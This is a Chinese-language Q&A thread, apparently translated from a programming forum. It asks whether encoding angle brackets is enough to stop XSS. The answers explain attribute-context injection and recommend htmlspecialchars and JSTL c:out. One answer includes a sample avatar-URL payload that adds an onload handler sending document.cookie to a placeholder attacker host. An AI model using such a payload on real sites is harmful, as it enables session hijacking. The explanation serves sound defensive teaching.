我想知道这两个标记是否足以防止 XSS 注入<
?>
如果不是,为什么?最好的解决方案是什么?
这在很大程度上取决于上下文。
看看这个例子,来自一个典型的论坛网站......
您可以热链接您的头像图像。输入完整的 URL。
恶意用户在输入字段中输入
http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie)
那里没有小于和大于的编码,但仍然存在很大的安全漏洞。
使用htmlspecialchars()
,我发现制作(或使用)它的包装函数是一个好主意,它可以转换为字符串,提供了一种更简单的方法来禁用双重编码(如果需要)并确保它使用正确的字符集您的应用程序. Kohana 有一个很好的例子。
您还应该考虑双引号"
、单引号'
和 & 符号&
。如果您在显示/生成输出期间执行所有这些操作,那么是的,这就足够了。
您应该只确保对任何用户控制的输入执行此操作,例如请求参数、请求 URL、请求标头和存储在数据存储中的用户控制输入。
在 PHP 中,您可以使用 JSP 做到这一点,htmlspecialchars()
而在 JSP 中,您可以使用 JSTL 做到这一点<c:out>
。